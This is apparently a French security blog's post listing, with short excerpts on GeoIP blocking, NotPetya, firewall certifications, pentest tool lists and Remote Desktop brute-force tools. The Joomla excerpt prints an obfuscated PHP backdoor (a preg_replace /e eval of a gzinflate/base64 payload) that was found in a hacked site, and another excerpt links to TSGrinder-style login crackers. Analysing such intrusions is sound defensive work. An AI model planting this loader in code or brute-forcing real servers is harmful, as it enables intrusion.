Firewall
Utilisation des GeoIP pour bloquer les tentatives de piratage
Nous avons installé un serveur avec une connexion directe à Internet. Nous allons utiliser la technique des GeoIP pour sécuriser notre serveur et éviter une partie…
Sécurité
NotPetya le nouveau ransomware/rançongiciel
NotPetya PetWrap Petya NotPetya (PetWrap, Petya 2.0)arrive aujourd’hui, le remplaçant de Wannacry qui utilise la même faille pour se propager et chiffrer vos disques durs avec…
Sécurité
Sécurité Aérienne – Quand l’informatique pose des problèmes à l’aéronautique
Lors de la célèbre HITB Sec Conf d’Amsterdam qui vient de se finir, une conférence a marqué mon esprit et ma confiance en l’aviation civile. Un…
Joomla
Analyse d’une attaque / d’un Hack Joomla
1) Joomla est hacké 2) analyse des sources Dans l’index.php preg_replace(« /.+/e », »\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’nVVrb9owFP1Mf4Ur0TqZIJRp2qQixFBJW6QWmAl7iKLIBEOshThywtSH+O+7jkOgPNqx9kNj33N9zzm+vp0xOTfM2sl0EXoJFyGapRvo5aRQpEPMIzxC6U8dIgmPFDaNLGSQhdLIQAY65NExlRMewjYOhWQTLjHs86kRJzISsZEnlxAOhIiweVqvT2kQM/OFeb4wcM7Fo0HAJkNs5TkWpKn1qgqssVlbqvPRboEcZtazEuj8HO3AsJgJnENS7Ufx5eEfGvAJUqiUTEGyZCFDkL08UjlLPH99jkrwRZxoo+voa9Ht2+S7TYZY/3U7zXsbj7IroTMWauwr6K3j9NwBrNzmjd1xcrhkUyaZhIRdOLGvbWITjWXjQGgC2E+S6LJSiRlYJmYBsxZxhUbi2a+E1F9wK/KjxoQmtI6tMY3Z508uCz0xYUbMJAeTnhm4YOpG8VVdD8S6POSJkZYxdaucQvT4e4iF95slaMJjOoa+2XMXulzMEhFBQc8voasBuev2HBDsDEjHIc1OH5SXqorIYbTTvre7A6eEqhdmDSkxuRb2yDwF1kqQknK8EjaPkickWbwI4Pb39dS62z04pVzW0XJ54yz0kqVkCZFkM3dOocMMfPYwjB5GhvWhYT4MK/B5xjE8l1IRUkzNl0FTG2o9rI6UmAJ75Ikun5IEXbDSm8uTzQGSjgl1hqrKQ5dKSZ+MdYcR+77r2G6z1SLKAx3G1Y9frAv4reLUFnj7aeub5so+OCuGyzC2WvWne90lP5qkZbfUFx5lCZlh6D24krZMZe0kvCK6ozIdebnMPdT6wEUNnJ1dVIenJEKsiRZjz2dztnpesRqXS8TUtNoTxvoKisoc2NtryW2376jajW3xOoAu0eFBsk8Msb8N7L7jDkg7s1eNg0IRmhgoZAQtDIMBRrMiZh3IraWJWtz+Qq02sa8ct39F2r3NgoW82tvg2oFWycHAhvxy+w5pd27WvZIeboHFDWy9m7TqmDdkbPtV+C+z3iyRUYOJtK4R0cTf71EKq73DQ6VvNd+/sO7d9uD77lr9e37l345tG48MDlYv6i8=’\x29\x29\x29\x3B », ». »); 3) Traduction print gzinflate(base64_decode(« nVVrb9owFP1Mf4Ur0TqZIJRp2qQixFBJW6QWmAl7iKLIBEOshThywtSH+O+7jkOgPNqx9kNj33N9zzm+vp0xOTfM2sl0EXoJFyGapRvo5aRQpEPMIzxC6U8dIgmPFDaNLGSQhdLIQAY65NExlRMewjYOhWQTLjHs86kRJzISsZEnlxAOhIiweVqvT2kQM/OFeb4wcM7Fo0HAJkNs5TkWpKn1qgqssVlbqvPRboEcZtazEuj8HO3AsJgJnENS7Ufx5eEfGvAJUqiUTEGyZCFDkL08UjlLPH99jkrwRZxoo+voa9Ht2+S7TYZY/3U7zXsbj7IroTMWauwr6K3j9NwBrNzmjd1xcrhkUyaZhIRdOLGvbWITjWXjQGgC2E+S6LJSiRlYJmYBsxZxhUbi2a+E1F9wK/KjxoQmtI6tMY3Z508uCz0xYUbMJAeTnhm4YOpG8VVdD8S6POSJkZYxdaucQvT4e4iF95slaMJjOoa+2XMXulzMEhFBQc8voasBuev2HBDsDEjHIc1OH5SXqorIYbTTvre7A6eEqhdmDSkxuRb2yDwF1kqQknK8EjaPkickWbwI4Pb39dS62z04pVzW0XJ54yz0kqVkCZFkM3dOocMMfPYwjB5GhvWhYT4MK/B5xjE8l1IRUkzNl0FTG2o9rI6UmAJ75Ikun5IEXbDSm8uTzQGSjgl1hqrKQ5dKSZ+MdYcR+77r2G6z1SLKAx3G1Y9frAv4reLUFnj7aeub5so+OCuGyzC2WvWne90lP5qkZbfUFx5lCZlh6D24krZMZe0kvCK6ozIdebnMPdT6wEUNnJ1dVIenJEKsiRZjz2dztnpesRqXS8TUtNoTxvoKisoc2NtryW2376jajW3xOoAu0eFBsk8Msb8N7L7jDkg7s1eNg0IRmhgoZAQtDIMBRrMiZh3IraWJWtz+Qq02sa8ct39F2r3NgoW82tvg2oFWycHAhvxy+w5pd27WvZIeboHFDWy9m7TqmDdkbPtV+C+z3iyRUYOJtK4R0cTf71EKq73DQ6VvNd+/sO7d9uD77lr9e37l345tG48MDlYv6i8= »)); En php de base maintenant germ(); function germ() { $a[‘ip’] =…
Arkoon
Certification EAL des UTM/Firewall – Fortinet – Arkoon – Sonicwall – Netasq
Marque Pays EAL IPv6 ICSA IKEv2 ICSA Firewall FIPS 140.2 OTAN Arkoon France EAL3+ non non non oui Fortinet FortiOS 4.3 USA EAL4+ oui oui oui…
Active Directory
Les outils de vérification de la robustesse de votre sécurité
Les logiciels ci dessous sont cités pour utilisation interne. La loi sanctionne la tentative d’accès à un système informatique ( Loi godfrain) Backtrak 5 Slax/whax Katana…
Sécurité
Les pirates vus par France 4 (Piratage)
Aujourd’hui un reportage sur France 4 sur le piratage(Pirat@ge) et les pirates à 22h20. http://www.france4.fr/piratage/index.php?page=article&numsite=6740&id_article=22232&id_rubrique=6743 Le documentaire est décevant. J’ai l’impression d’être dans un monde de bisounours…
Remote Desktop
Tests de sécurité sur Terminal Server/ Remote Desktop
Voilà quelques logiciels pour faire des tests de sécurité sur Remote Desktop/ Terminal Server TS Grinder http://www.youtube.com/watch?v=YLRRvDLG33U tsgrinder http://www.darknet.org.uk/2008/07/tsgrinder-brute-force-terminal-services-server/ Pour télécharger TSGrinder TS Crack http://fogflames.blogspot.fr/2008/12/tscrack.html Microsoft…